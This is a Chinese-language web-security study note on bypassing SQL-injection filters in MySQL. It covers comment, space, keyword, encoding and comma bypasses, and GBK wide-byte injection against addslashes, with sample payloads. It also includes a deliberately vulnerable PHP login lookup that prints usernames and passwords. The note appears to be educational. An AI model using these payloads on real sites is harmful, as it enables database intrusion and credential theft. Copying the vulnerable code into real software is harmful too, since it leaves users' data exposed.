【22】WEB安全学习----MySQL注入-7(绕过限制)
注释符:-- 、#、/**/绕过
只能闭合后面的语句,使其成为正确的SQL语句。
- $sql="SELECT username FROM users WHERE id='{$id}' limit 0,1;"
- $id=-1' union select version() '1;
- $sql="SELECT username FROM users WHERE id='-1' union select version() '1' limit 0,1;"
空格绕过
可通过注释符/**/进行绕过空格
或者是通过以下编码进行绕过。
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
关键字符绕过
1、如果不是忽略大小写过滤,则大小写变形进行绕过 Or And UnIon等
2、and or 可利用符号进行代替为 && ||
3、如果只匹配过滤了一次,可使用双字符进行绕过,如UNIunionON
URL二次编码绕过
如果后台会再次对接收到的参数进行URL解码,此时可以进行二次URL编码绕过。
- <?php
- $id=urldecode($_GET['id']);
- ?>
#->%23->%25%32%33
HEX、BASE64等编码绕过
如果提交的数据区包含敏感词汇,被检测到,此时可以使用各种编码进行绕过。
逗号绕过
在使用函数时,大多数函数会使用逗号,如果过滤了逗号,那么以下函数可以不使用逗号进行绕过
- SELECT MID('mysql' from 1 for 1);
- SELECT SUBSTR('mysql' from 1 for 1);
- SELECT * FROM users limit 1 offset 1;
order by绕过
当order by被过滤时,无法猜解字段数,此时可以使用into 变量名进行代替。
SELECT * FROM users WHERE id=1 into @a,@b,@c,@d;[/code]
也可以使用group by进行代替
比较符绕过
比较字符>、<、=等,在盲注逐字猜解时用到,可使用in、between、strcmp、greatest等绕过。
宽字节注入
addslashes()
返回在预定义字符之前添加反斜杠的字符串,预定义字符是:
单引号(')
双引号(")
反斜杠(\)
- <?php
- echo addslashes($_GET['id']);
由于此函数对单引号和双引号及反斜杠都进行了处理,故不能闭合SQL语句从而进行注入。
PHP代码:
- <?php
- header('content-type:text/html;charset=gbk');
- @$id=$_GET['id'];
- if(!isset($id)){
- die('请传入GET方法id参数值');
- }
- $mysqli=new mysqli();
- $mysqli->connect('localhost','root','root');
- if($mysqli->connect_errno){
- die('连接数据库失败:'.$mysqli->connect_error);
- }
- $mysqli->select_db('user');
- if($mysqli->errno){
- die('打开数据库失败:'.$mysqli->error);
- }
- $mysqli->set_charset('gbk');
- $id=addslashes($id);
- $sql="SELECT username,passwd FROM users WHERE id='{$id}' limit 0,1";
- echo $sql.'<hr />';
- $result=$mysqli->query($sql);
- if(!$result){
- die('执行SQL语句失败:'.$mysqli->error);
- }else if($result->num_rows==0){
- die('查询结果为空');
- }else {
- $array1=$result->fetch_all(MYSQLI_ASSOC);
- echo '用户名:'.$array1[0]['username'].'<br />'.'密码:'.$array1[0]['passwd'].'<br />';
- }
通过添加单引号被转义为\',无法闭合单引号进行注入。那么如果绕过这个注入呢,就要用到宽字节注入方法了。
通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。而mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)。
绕过的原理是:urlencode(‘\) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,此时就绕过了限制。
首先设置数据库编码方式为GBK,及页面显示也为GBK。
可看到,通过加入%df,%df%5c组成汉字【運】,后面的单引号限制就被绕过了
此时,就可以按照正常的流程进行注入了。
- Web入侵安全测试与对策学习笔记之(三)——攻击客户机之绕过对输入选项的限制
- 【23】WEB安全学习----MySQL注入-8(二阶注入)
- 【24】WEB安全学习----MySQL注入-9(读写文件)
- 一起艳恶学习web安全之SQL注入
- 【29】WEB安全学习----XML注入
- MySQL权限提升及安全限制绕过漏洞
- 【32】WEB安全学习----Json注入
- web安全学习笔记之-注入攻击
- 数据库MYSQL学习总结22—LIMIT限制结果集的显示条数
- MySQL权限提升及安全限制绕过漏洞
- 【25】WEB安全学习----Oracle注入-1
- 安全测试===Mysql 注入技巧学习 MySQL注入技巧(1)
- 【安全牛学习笔记】mysql注入总结
- 【27】WEB安全学习----SQL server注入
- SSL/TLS LogJam中间人安全限制绕过漏洞 (CVE-2015-4000)
- 学习笔记:部署趋势科技企业安全无忧版——服务器端和web控制台的安装(一)
- 【安全牛学习笔记】Web扫描器(2)
- PHP学习笔记【22】--PHP数据库编程 mysql扩展库 和mysqli扩展库
- web安全之SQL注入---第三章 如何寻找sql注入?
- 【安全牛学习笔记】SQLMAP- 自动注入